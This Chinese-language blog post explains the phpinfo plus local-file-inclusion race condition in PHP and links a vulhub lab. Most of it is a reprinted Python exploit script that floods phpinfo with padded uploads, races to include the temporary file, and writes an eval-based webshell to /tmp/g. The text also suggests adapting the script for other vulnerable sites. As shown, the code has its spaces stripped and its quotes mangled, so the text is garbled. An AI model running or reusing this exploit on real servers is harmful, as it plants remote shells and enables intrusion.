phpinfo(phpinfo是什么文件)-IT技术网站

phpinfo

先讲一下利用phpinfo上传文件，然后在文件包含的原理：
在给PHP发送POST数据包时，如果数据包里包含文件区块，无论访问的代码中是否有处理文件上传的逻辑，php都会将这个文件保存成一个临时文件（通常是/tmp/php[6个随机字符]），这个临时文件在请求结束后就会被删除，同时，phpinfo页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和phpinfo页面通常是两个页面，理论上我们需要先发送数据包给phpinfo页面，然后从返回页面中匹配出临时文件名，将这个文件名发送给文件包含漏洞页面。
因为在第一个请求结束时，临时文件就会被删除，第二个请求就无法进行包含。
但是这并不代表我们没有办法去利用这点上传恶意文件，只要发送足够多的数据，让页面还未反应过来，就上传我们的恶意文件，然后文件包含：
1）发送包含了webshell的上传数据包给phpinfo，这个数据包的header，get等位置一定要塞满垃圾数据；
2）phpinfo这时会将所有数据都打印出来，其中的垃圾数据会将phpinfo撑得非常大
3）PHP默认缓冲区大小是4096，即PHP每次返回4096个字节给socket连接
4）所以，我们直接操作原生socket，每次读取4096个字节，只要读取到的字符里包含临时文件名，就立即发送第二个数据包
5）此时，第一个数据包的socket连接其实还没有结束，但是PHP还在继续每次输出4096个字节，所以临时文件还未被删除
6）我们可以利用这个时间差，成功包含临时文件，最后getshell
环境搭建
https://github.com/vulhub/vulhub/tree/master/php/inclusion
搭建完成访问ip:8080/lfi.php?file=/etc/passwd就会读取文件和包含
要想利用成功，还得借助python脚本，根据这个原理，感觉就是利用脚本做条件竞争
https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py之后别的站存在这个漏洞，这个脚本需要修改些地方，比如文件名
复制代码
#!/usr/bin/python
importsys
importthreading
importsocket
defsetup(host,port):
TAG=”SecurityTest”
PAYLOAD=”””%s\r
<?phpfile_put_contents(‘/tmp/g’,'<?=eval($_REQUEST[1])?>’)?>\r”””%TAG
REQ1_DATA=”””—————————–7dbff1ded0714\r
Content-Disposition:form-data;name=”dummyname”;filename=”test.txt”\r
Content-Type:text/plain\r
\r
%s
—————————–7dbff1ded0714–\r”””%PAYLOAD
padding=”A”*5000
REQ1=”””POST/phpinfo.php?a=”””+padding+”””HTTP/1.1\r
Cookie:PHPSESSID=q249llvfromc1or39t6tvnun42;othercookie=”””+padding+”””\r
HTTP_ACCEPT:”””+padding+”””\r
HTTP_USER_AGENT:”””+padding+”””\r
HTTP_ACCEPT_LANGUAGE:”””+padding+”””\r
HTTP_PRAGMA:”””+padding+”””\r
Content-Type:multipart/form-data;boundary=—————————7dbff1ded0714\r
Content-Length:%s\r
Host:%s\r
\r
%s”””%(len(REQ1_DATA),host,REQ1_DATA)
#modifythistosuittheLFIscript
LFIREQ=”””GET/lfi.php?file=%sHTTP/1.1\r
User-Agent:Mozilla/4.0\r
Proxy-Connection:Keep-Alive\r
Host:%s\r
\r
\r
“””
return(REQ1,TAG,LFIREQ)
defphpInfoLFI(host,port,phpinforeq,offset,lfireq,tag):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s2=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
s2.connect((host,port))
s.send(phpinforeq)
d=””
whilelen(d)<offset:
d+=s.recv(offset)
try:
i=d.index(“[tmp_name]=>”)
fn=d[i+17:i+31]
exceptValueError:
returnNone
s2.send(lfireq%(fn,host))
d=s2.recv(4096)
s.close()
s2.close()
ifd.find(tag)!=-1:
returnfn
counter=0
classThreadWorker(threading.Thread):
def__init__(self,e,l,m,*args):
threading.Thread.__init__(self)
self.event=e
self.lock=l
self.maxattempts=m
self.args=args
defrun(self):
globalcounter
whilenotself.event.is_set():
withself.lock:
ifcounter>=self.maxattempts:
return
counter+=1
try:
x=phpInfoLFI(*self.args)
ifself.event.is_set():
break
ifx:
print”\nGotit!Shellcreatedin/tmp/g”
self.event.set()
exceptsocket.error:
return
defgetOffset(host,port,phpinforeq):
“””Getsoffsetoftmp_nameinthephpoutput”””
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d=””
whileTrue:
i=s.recv(4096)
d+=i
ifi==””:
break
#detectthefinalchunk
ifi.endswith(“0\r\n\r\n”):
break
s.close()
i=d.find(“[tmp_name]=>”)
ifi==-1:
raiseValueError(“Nophptmp_nameinphpinfooutput”)
print”found%sat%i”%(d[i:i+10],i)
#paddedupabit
returni+256
defmain():
print”LFIWithPHPInfo()”
print”-=”*30
iflen(sys.argv)<2:
print”Usage:%shost[port][threads]”%sys.argv[0]
sys.exit(1)
try:
host=socket.gethostbyname(sys.argv[1])
exceptsocket.error,e:
print”Errorwithhostname%s:%s”%(sys.argv[1],e)
sys.exit(1)
port=80
try:
port=int(sys.argv[2])
exceptIndexError:
pass
exceptValueError,e:
print”Errorwithport%d:%s”%(sys.argv[2],e)
sys.exit(1)
poolsz=10
try:
poolsz=int(sys.argv[3])
exceptIndexError:
pass
exceptValueError,e:
print”Errorwithpoolsz%d:%s”%(sys.argv[3],e)
sys.exit(1)
print”Gettinginitialoffset…”,
reqphp,tag,reqlfi=setup(host,port)
offset=getOffset(host,port,reqphp)
sys.stdout.flush()
maxattempts=1000
e=threading.Event()
l=threading.Lock()
print”Spawningworkerpool(%d)…”%poolsz
sys.stdout.flush()
tp=[]
foriinrange(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts,host,port,reqphp,offset,reqlfi,tag))
fortintp:
t.start()
try:
whilenote.wait(1):
ife.is_set():
break
withl:
sys.stdout.write(“\r%4d/%4d”%(counter,maxattempts))
sys.stdout.flush()
ifcounter>=maxattempts:
break
print
ife.is_set():
print”Woot!\m/”
else:
print”:(”
exceptKeyboardInterrupt:
print”\nTellingthreadstoshutdown…”
e.set()
print”Shuttin’down…”
fortintp:
t.join()
if__name__==”__main__”:
main()
python2pythonexp.pyyour-ip8080100